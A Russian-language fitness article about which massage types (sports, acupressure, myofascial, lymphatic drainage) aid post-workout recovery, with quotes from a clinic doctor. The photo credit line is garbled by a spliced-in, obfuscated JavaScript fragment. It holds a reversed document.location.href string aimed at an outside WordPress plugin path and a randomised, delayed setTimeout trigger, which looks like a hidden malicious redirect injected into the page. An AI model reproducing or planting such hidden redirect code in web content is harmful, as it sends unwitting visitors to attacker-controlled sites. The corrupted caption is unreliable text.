Какой массаж поможет восстановиться после тренировки

В финишном городке марафона или триатлона вы обязательно увидите спортсменов, выстроившихся в очередь перед массажной палаткой. Правда ли, что массаж помогает ускорить восстановление после нагрузок? Какой массаж лучше всего для этого использовать? Разбираемся вместе с Жимбой Данзановым, главным врачом клиники «Чжуд-Ши».

Массаж после интенсивной тренировки помогает телу быстрее восстановиться: снимает напряжение в мышцах, ускоряет выведение продуктов распада, улучшает амплитуду движений, расслабляет. Учёные доказали, что массаж уменьшает крепатуру, или синдром отсроченной мышечной боли. А чем быстрее и лучше вы восстановитесь, тем скорее и качественнее сможете сделать следующую тренировку.

Какой массаж лучше делать после тренировки

После тренировки вас отлично восстановят следующие виды массажа:

  • спортивный — специалист учитывает вид спорта, которым занимается клиент, и прорабатывает глубокие мышцы. Процедура может быть немного болезненной, зато вы увидите результат;
  • точечный — специалист целенаправленно прорабатывает проблемные точки и зажимы;   
  • миофасциальный — воздействует не на мышцы, а на фасции, то есть оболочки из соединительной ткани, которые образуют футляры для мышц. С помощью миофасциального массажа можно добиться полного расслабления одной мышцы или группы мышц; 
  • лимфодренажный — усиливает лимфоток и способствует быстрому выведению лишней жидкости из организма. 

Какой массаж поможет восстановиться после тренировки. Изображение номер 1

Фото: shutterstoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tock.com

 

Жимба Данзанов

главный врач клиники «Чжуд-Ши», доктор тибетской медицины

— Разные виды массажа оказывают разный эффект. Например, спортивный массаж направлен на проработку мышц, их расслабление и питание. Точечный помогает справиться с зажимами, а также служит мощной профилактикой травм. Лимфодренажный идеален для расслабления и избавления от скопившейся молочной кислоты. Популярен и миофасциальный массаж. Часто фасции не выдерживают нагрузку, когда человек активно тренируется, наращивает и укрепляет мышечную массу, а миофасциальный массаж их укрепляет. Это важно, чтобы избежать травм, воспалений и растяжений. В целом любой массаж эффективен в профилактике спортивных травм.

Спортсменам после тренировки я рекомендую спортивный массаж, который обеспечивает глубокую проработку мышц. Но эффективным может быть и точечный, и лимфодренажный расслабляющий массаж — всё зависит от вида тренировок. Идеально делать массаж сразу после физической нагрузки — пока ваши мышцы ещё не остыли. Но если такой возможности нет, отправляйтесь на массаж между регулярными тренировками, например на следующий день. Специалисту просто потребуется больше времени, чтобы разогреть ваше тело.

Как подготовиться к массажу

Массаж будет полезен тем, кто занимается регулярно, готовится к полумарафону или марафону. Вы можете попробовать самомассаж, приобрести массажный ролл и освоить миофасциальный релиз. Но лучше найти сертифицированного специалиста, с которым вы будете работать постоянно. Старайтесь много не есть перед сеансом. Специальной подготовки к массажу не требуется. 

 

Жимба Данзанов

главный врач клиники «Чжуд-Ши», доктор тибетской медицины

— Перед тем как лечь на массажный стол перед специалистом, который не работал с вами до этого, расскажите ему о травмах и хронических заболеваниях, если они у вас есть, о каком-то дискомфорте. Скажите, чего ждёте от массажа, чтобы получить максимум пользы.

Противопоказания для массажа  — острые воспаления и травмы. В таких случаях процедура может привести к ухудшению состояния.

Статьи по теме

Как правильно восстанавливаться после травмы: рассказывает врач-реабилитолог

Самомассаж: почему он так полезен и как правильно его делать

Что такое миофасциальный релиз и зачем он нужен

Миф: если ничего не болит после тренировки, вы плохо позанимались

Оцените статью
Дежурная Качалка
Добавить комментарии

;-) :| :x :twisted: :smile: :shock: :sad: :roll: :razz: :oops: :o :mrgreen: :lol: :idea: :grin: :evil: :cry: :cool: :arrow: :???: :?: :!:

Adblock
detector